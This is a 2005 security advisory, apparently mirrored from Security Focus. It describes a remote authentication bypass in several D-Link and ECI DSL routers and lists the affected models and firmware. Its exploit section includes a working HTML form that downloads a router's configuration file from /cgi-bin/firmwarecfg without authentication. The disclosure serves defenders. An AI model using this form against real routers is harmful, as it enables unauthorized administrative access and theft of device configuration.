D-Link DSL Router Remote Authentication Bypass Vulnerability

TITLE: D-Link DSL Router Remote Authentication Bypass Vulnerability
CLASS: Access Validation Error
CVE:
REMOTE: Yes
LOCAL: No
PUBLISHED: May 19 2005 12:00AM
UPDATE: May 19 2005 12:00AM
CREDIT: Francesco Orro <francesco.orro@akhela.com> is credited with the discovery of this vulnerability.
VULNERABLE:

Punto ADSL Aethra Starbridge E-U
ECI Telecom B-FOCuS Router 312+
ECI Telecom B-FOCuS MultiPort 342+
ECI Telecom B-FOCuS Combo 322+
D-Link DSL-G604T
D-Link DSL-562T
D-Link DSL-504T
D-Link DSL-502T
NOT VULNERABLE:

Vai alla pagina originale su Security Focus

Discussion

Various D-Link DSL routers are susceptible to a remote authentication bypass vulnerability. This issue is due to a failure of the devices to require authentication in certain circumstances.

This vulnerability allows remote attackers to gain complete administrative access to affected devices.

Various D-Link devices with the following firmware revisions are affected by this issue:
- V1.00B01T16.EN.20040211
- V1.00B01T16.EU.20040217
- V0.00B01T04.UK.20040220
- V1.00B01T16.EN.20040226
- V1.00B02T02.EU.20040610
- V1.00B02T02.UK.20040618
- V1.00B02T02.EU.20040729
- V1.00B02T02.DE.20040813
- V1.00B02T02.RU.20041014

Due to the common practice of code reuse, other devices are also likely affected by this issue.

Exploit

An exploit is not required. The following HTML form example is sufficient to demonstrate this vulnerability:

<html><head>Download config.xml:<title>GetConfig - Config file
download</title></head><body>

<script lang="javascript">
function invia_richiesta()
{
document.DownloadConfig.action='http://'+document.InputBox.Host.value+'/cgi-bin/firmwarecfg';
document.DownloadConfig.submit();
}
</script>

<form name="InputBox">
<br>http://<input Name="Host" type="text" value="">/cgi-bin/firmwarecfg<br>
</form>
<form name="DownloadConfig" method="POST" action=""
enctype="multipart/form-data">
<input type="Submit" name="config" value="Download"
onClick="javascript:invia_richiesta();"><br>
</form></body></html>

Solution

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com <mailto:vuldb@securityfocus.com>.

References

References:

PhpLog

BNLug Benevento Linux Users Group